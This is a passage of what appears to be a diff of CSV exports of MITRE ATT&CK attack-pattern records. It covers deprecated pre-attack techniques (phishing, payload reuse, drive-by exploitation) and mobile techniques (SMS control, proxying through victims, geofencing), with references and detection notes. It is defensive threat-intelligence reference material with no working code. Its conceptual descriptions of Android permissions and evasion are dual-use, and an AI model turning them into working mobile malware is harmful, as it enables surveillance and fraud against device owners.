Applications in 2014. Retrieved April 12, 2017.'), ExternalReference(source_name='Android Security Review 2015', description='Google. (2016, April). Android Security 2015 Year In Review. Retrieved April 12, 2017.'), ExternalReference(source_name='Android Multidex RCE', description='Ryan Welton. (2015, June 15). A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications. Retrieved April 12, 2017.')]",attack-pattern--ad124f84-52d2-40e3-95dd-cfdd44eae6ef,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='technical-weakness-identification')]",2020-10-26 13:42:49.342000+00:00,Identify vulnerabilities in third-party software libraries,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"Open source software has great appeal mostly due to the time savings and that it is free. However, using this code without assessing it's security is akin to blindly executing third party software. Companies often do not dedicate the time to appropriately detect and scan for vulnerabilities. The mainstream mobile application stores scan applications for some known vulnerabilities. For example, Google's Android Application Security Improvement Program identifies and alerts developers to vulnerabilities present in their applications from use of the Vungle, Apache Cordova, WebView SSL, GnuTLS, and Vitamio third-party libraries. However, these scans are not likely to cover all vulnerable libraries, developers may not always act on the results, and the results may not be made available to impacted end users of the applications.",,Yes,"Developers commonly use open source libraries such that where an adversary can easily discover known vulnerabilities and create exploits. It is also generally easy to decompile arbitrary mobile applications to determine what libraries they use, and similarly use this information to correlate against known CVEs and exploit packages.",,,,,PRE-T1166,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1273). - -An adversary may research available open source information about a target commonly found on social media sites such as [Facebook](https://www.facebook.com), [Instagram](https://www.instagram.com), or [Pinterest](https://www.pinterest.com). Social media is public by design and provides insight into the interests and potentially inherent weaknesses of a target for exploitation by the adversary. (Citation: RSA-APTRecon)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1273', external_id='T1273'), ExternalReference(source_name='RSA-APTRecon', description='Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the “APT” Intelligence Gathering Process. Retrieved March 1, 2017.')]",attack-pattern--695b1cce-57d7-49ae-a2af-820d50153f12,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='people-information-gathering')]",2020-10-26 13:42:49.342000+00:00,Mine social media,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Searching publicly available sources that cannot be monitored by a defender.,,Yes,Very public by design. Application of privacy settings is not a panacea.,,,,,PRE-T1050,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1390). - -Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1390', external_id='T1390'), ExternalReference(source_name='Securelist Mobile Malware 2013', description='Roman Unuchek, Victor Chebyshev. (2014, February 24). Mobile Malware Evolution: 2013. Retrieved April 12, 2017.'), ExternalReference(source_name='DroydSeuss', description='Alberto Coletta, Victor van der Veen, and Federico Maggi. (2016). DroydSeuss: A Mobile Banking Trojan Tracker - Short Paper. Retrieved April 12, 2017.')]",attack-pattern--5436571f-2332-4b51-b7ed-0bc822fe02c2,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,OS-vendor provided communication channels,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,These services are heavily utilized by mainstream mobile app developers. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.,,Yes,"These are free services provided by Google and Apple to app developers, and information on how to use them is readily available.",,,,,PRE-T1167,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1313). - -Obfuscation is the act of creating communications that are more difficult to understand. Encryption transforms the communications such that it requires a key to reverse the encryption. (Citation: FireEyeAPT28)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1313', external_id='T1313'), ExternalReference(source_name='FireEyeAPT28', description='FireEye, Inc. (2014). APT 28: A Window into Russia’s Cyber Espionage Operations?. Retrieved March 1, 2017.')]",attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Obfuscation or cryptography,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Techniques and signatures are hard to detect. Advanced communications and exfiltration channels are nearly indistinguishable from background noise.,,Yes,"Known approaches include the use of cryptography for communications, rotating drops sites (such as random list of chat fora), and one-time [https://aws.amazon.com/s3/ Simple Storage Service (S3)] buckets, etc. All require sophisticated knowledge, infrastructure, and funding.",,,,,PRE-T1090,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1346). - -A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1346', external_id='T1346'), ExternalReference(source_name='SonyDestover', description='Kurt Baumgartner. (2014, December 4). Sony/Destover: mystery North Korean actor’s destructive and past network activity. Retrieved March 9, 2017.')]",attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='build-capabilities')]",2020-10-26 13:42:49.342000+00:00,Obtain/re-use payloads,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).",,Yes,Several exploit repositories and tool suites exist for re-use and tailoring.,,,,,PRE-T1123,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1304). - -Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1304', external_id='T1304'), ExternalReference(source_name='APT1', description='Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.')]",attack-pattern--b14f6692-b613-44bb-9f30-8381a5ff10d5,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='adversary-opsec')]",2020-10-26 13:42:49.342000+00:00,Proxy/protocol relays,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Defenders with standard capabilities will traditionally be able to see the first hop but not all the subsequent earlier hops an adversary takes to be able to conduct reconnaissance.,,Yes,Proxies are readily available for the adversary with both free and cost-based options available.,,,,,PRE-T1081,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1378', external_id='T1378'), ExternalReference(source_name='FSecureICS', description='Daavid and Antti. (2014, June 23). Havex Hunts For ICS/SCADA Systems. Retrieved March 9, 2017.')]",attack-pattern--0d759854-9b69-438c-8325-74b03cc80cf0,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:23:46.977000+00:00,Replace legitimate binary with malware,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,"On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.",,No,"Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.",,,False,,PRE-T1155,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1337). - -Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1337', external_id='T1337'), ExternalReference(source_name='SubvertSSL', description='Ryan Singel. (2010, March 24). Law Enforcement Appliance Subverts SSL. Retrieved March 2, 2017.'), ExternalReference(source_name='PaypalScam', description=""Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017."", url='https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/')]",attack-pattern--e34b9ca1-8778-41a3-bba5-8edaab4076dc,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='establish-&-maintain-infrastructure')]",2020-10-26 13:42:49.342000+00:00,SSL certificate acquisition for domain,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).,,Yes,SSL certificates are readily available at little to no cost.,,,,,PRE-T1114,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).** - -Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1369', external_id='T1369'), ExternalReference(source_name='GoogleDrive Phishing', description='Nick Johnston. (2014, March 13). Google Docs Users Targeted by Sophisticated Phishing Scam. Retrieved March 29, 2017.'), ExternalReference(source_name='RSASEThreat', description='Bob Griffin. (2015, May 16). THE ON-GOING THREAT OF SOCIAL ENGINEERING. Retrieved March 9, 2017.')]",attack-pattern--489a7797-01c3-4706-8cd1-ec56a9db3adc,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:25:58.783000+00:00,Spear phishing messages with malicious links,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Yes,"Defenders can implement mechanisms to analyze links and identify levels of concerns. However, the adversary has the advantage of creating new links or finding ways to obfuscate the link so that common detection lists can not identify it. Detection of a malicious link could be identified once the file has been downloaded.",,Yes,"Sending emails is trivial and expected. The adversary needs to ensure links don't get tampered, removed, or flagged as a previously black-listed site.",,,False,,PRE-T1146,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please use [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003).** - -Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1366', external_id='T1366'), ExternalReference(source_name='APT1', description='Mandiant. (n.d.). APT1: Exposing One of China’s Cyber Espionage Units. Retrieved March 5, 2017.'), ExternalReference(source_name='Nemucod Facebook', description='Bart Blaze. (2016, November 20). Nemucod downloader spreading via Facebook. Retrieved March 28, 2017.')]",attack-pattern--eb517589-eefc-480e-b8e3-7a8b1066f6f1,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:27:43.972000+00:00,Targeted social media phishing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Extremely hard to identify (in the launch phase) what message via social media is hostile versus what is not. Increased use of encrypted communications increases the difficulty average defender's have in detecting use of this technique.,,Yes,Sending messages to individuals identified as a target follows normal tradecraft for using social media.,,,False,,PRE-T1143,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1359). - -An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1359', external_id='T1359'), ExternalReference(source_name='MalwareQAZirtest', description='Damballa Day Before Zero Blog. (2009, December 17). Malware QA and Exploit Testing Services – Virtest.com. Retrieved March 9, 2017.')]",attack-pattern--8b57a8f1-9cbc-4b95-b162-cc2a1add94f2,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='test-capabilities')]",2020-10-26 13:42:49.342000+00:00,Test malware to evade detection,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,No,Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.,,Yes,Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services,,,,,PRE-T1136,,,,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.** - -A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)","[ExternalReference(source_name='mitre-pre-attack', url='https://attack.mitre.org/techniques/T1372', external_id='T1372'), ExternalReference(source_name='GeorgeDriveBy', description=""Torsten George. (2014, October 15). The Internet's Big Threat: Drive-by Attacks. Retrieved March 7, 2017.""), ExternalReference(source_name='BellDriveBy', description='Lee Bell. (2013, January 8). Drive-by exploits are the top web security threat, says ENISA. Retrieved March 7, 2017.')]",attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793,"[KillChainPhase(kill_chain_name='mitre-pre-attack', phase_name='launch')]",2020-03-30 14:29:19.081000+00:00,Unconditional client-side exploitation/Injected Website/Driveby,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,True,Partial,"With the use of malware detonation chambers (e.g., for web or email traffic), this improves detection. Encryption and other techniques reduces the efficacy of these defenses.",,Yes,"Placing an exploit on a public web site for driveby types of delivery is not impossible. However, gaining access to a web site with high enough traffic to meet specific objectives could be the challenge.",,,False,,PRE-T1149,,,,,,1.0 -2020-12-16 20:16:07.673000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use built-in command-line interfaces to interact with the device and execute commands. Android provides a bash shell that can be interacted with over the Android Debug Bridge (ADB) or programmatically using Java’s `Runtime` package. On iOS, adversaries can interact with the underlying runtime shell if the device has been jailbroken. - -If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1605', external_id='T1605')]",attack-pattern--e083305c-49e7-4c87-aae8-9689213bffbe,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='execution')]",2020-12-17 17:31:52.802000+00:00,Command-Line Interface,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Command-Line Interface execution can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,False,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2020-11-30 14:26:07.728000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot) - -The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1604', external_id='T1604'), ExternalReference(source_name='Threat Fabric Exobot', description='Threat Fabric. (2017, February). Exobot - Android banking Trojan on the rise. Retrieved October 29, 2020.', url='https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html')]",attack-pattern--5ca3c7ec-55b2-4587-9376-cf6c96f8047a,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='defense-evasion')]",2020-12-04 20:30:31.513000+00:00,Proxy Through Victim,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.",,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.0 -2020-11-04 16:43:31.619000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval. +The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1604', 'external_id': 'T1604'}, {'source_name': 'Threat Fabric Exobot', 'description': 'Threat Fabric. (2017, February). Exobot - Android banking Trojan on the rise. Retrieved October 29, 2020.', 'url': 'https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.",False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--00290ac5-551e-44aa-bbd8-c4b913488a6d,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-11-04T16:43:31.619Z,2020-11-04T19:45:38.144Z,Scheduled Task/Job,"Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval. On Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager) -On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1603', external_id='T1603'), ExternalReference(source_name='Android WorkManager', description='Google. (n.d.). Schedule tasks with WorkManager. Retrieved November 4, 2020.', url='https://developer.android.com/topic/libraries/architecture/workmanager'), ExternalReference(source_name='Apple NSBackgroundActivityScheduler', description='Apple. (n.d.). NSBackgroundActivityScheduler. Retrieved November 4, 2020.', url='https://developer.apple.com/documentation/foundation/nsbackgroundactivityscheduler')]",attack-pattern--00290ac5-551e-44aa-bbd8-c4b913488a6d,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='execution'), KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='persistence')]",2020-11-04 19:45:38.144000+00:00,Scheduled Task/Job,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Lorin Wu, Trend Micro']",,,,,,"Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",,,,,False,,,,"['Android', 'iOS']",,,['Post-Adversary Device Access'],1.0 -2020-09-11 15:14:33.730000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects. +On iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'execution'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1603', 'external_id': 'T1603'}, {'source_name': 'Android WorkManager', 'description': 'Google. (n.d.). Schedule tasks with WorkManager. Retrieved November 4, 2020.', 'url': 'https://developer.android.com/topic/libraries/architecture/workmanager'}, {'source_name': 'Apple NSBackgroundActivityScheduler', 'description': 'Apple. (n.d.). NSBackgroundActivityScheduler. Retrieved November 4, 2020.', 'url': 'https://developer.apple.com/documentation/foundation/nsbackgroundactivityscheduler'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Lorin Wu, Trend Micro']",,,"Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.",False,,"['Android', 'iOS']",1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--b327a9c0-e709-495c-aa6e-00b042136e2b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-11T15:14:33.730Z,2020-10-22T17:04:15.578Z,SMS Control,"Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects. -This can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.(Citation: SMS KitKat)(Citation: Android SmsProvider)","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1582', external_id='T1582'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html', external_id='APP-16'), ExternalReference(source_name='NIST Mobile Threat Catalogue', url='https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-41.html', external_id='CEL-41'), ExternalReference(source_name='SMS KitKat', description='S.Main, D. Braun. (2013, October 14). Getting Your SMS Apps Ready for KitKat. Retrieved September 11, 2020.', url='https://android-developers.googleblog.com/2013/10/getting-your-sms-apps-ready-for-kitkat.html'), ExternalReference(source_name='Android SmsProvider', description='Google. (n.d.). SmsProvider.java. Retrieved September 11, 2020.', url='https://android.googlesource.com/platform/packages/providers/TelephonyProvider/+/7e7c274/src/com/android/providers/telephony/SmsProvider.java')]",attack-pattern--b327a9c0-e709-495c-aa6e-00b042136e2b,"[KillChainPhase(kill_chain_name='mitre-mobile-attack', phase_name='impact')]",2020-10-22 17:04:15.578000+00:00,SMS Control,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,Users can view the default SMS handler in system settings.,,,,,False,,,,['Android'],,,['Post-Adversary Device Access'],1.0 -2020-09-11 15:04:14.532000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv) +This can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.(Citation: SMS KitKat)(Citation: Android SmsProvider)","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1582', 'external_id': 'T1582'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html', 'external_id': 'APP-16'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-41.html', 'external_id': 'CEL-41'}, {'source_name': 'SMS KitKat', 'description': 'S.Main, D. Braun. (2013, October 14). Getting Your SMS Apps Ready for KitKat. Retrieved September 11, 2020.', 'url': 'https://android-developers.googleblog.com/2013/10/getting-your-sms-apps-ready-for-kitkat.html'}, {'source_name': 'Android SmsProvider', 'description': 'Google. (n.d.). SmsProvider.java. Retrieved September 11, 2020.', 'url': 'https://android.googlesource.com/platform/packages/providers/TelephonyProvider/+/7e7c274/src/com/android/providers/telephony/SmsProvider.java'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,Users can view the default SMS handler in system settings.,False,,['Android'],1.0,,,,,,['Post-Adversary Device Access'], +attack-pattern,attack-pattern--8197f026-64da-4700-93b9-b55ba55f3b31,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-09-11T15:04:14.532Z,2020-10-01T12:43:41.494Z,Geofencing,"Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv) [Geofencing](https://attack.mitre.org/techniques/T1581) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements. @@ -4046,93 +3673,76 @@ One method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1581) Similarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.(Citation: Apple Location Services) -[Geofencing](https://attack.mitre.org/techniques/T1581) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific [Input Prompt](https://attack.mitre.org/techniques/T1411)s and/or advertisements.","[ExternalReference(source_name='mitre-mobile-attack', url='https://attack.mitre.org/techniques/T1581', external_id='T1581'), ExternalReference(source_name='Lookout eSurv', description='A. Bauer. (2019, April 8). Lookout discovers phishing sites distributing new iOS and Android surveillanceware. Retrieved September 11, 2020.', url='https://blog.lookout.com/esurv-research'), ExternalReference(source_name='Android Geofencing API', description='Google. (n.d.). Create and monitor geofences. Retrieved September 11, 2020.', url='https://developer.android.com/training/location/geofencing'), ExternalReference(source_name='Apple Location Services', description='Apple. (n.d.). Requesting Authorization for Location Services. Retrieved September 11, 2020.', 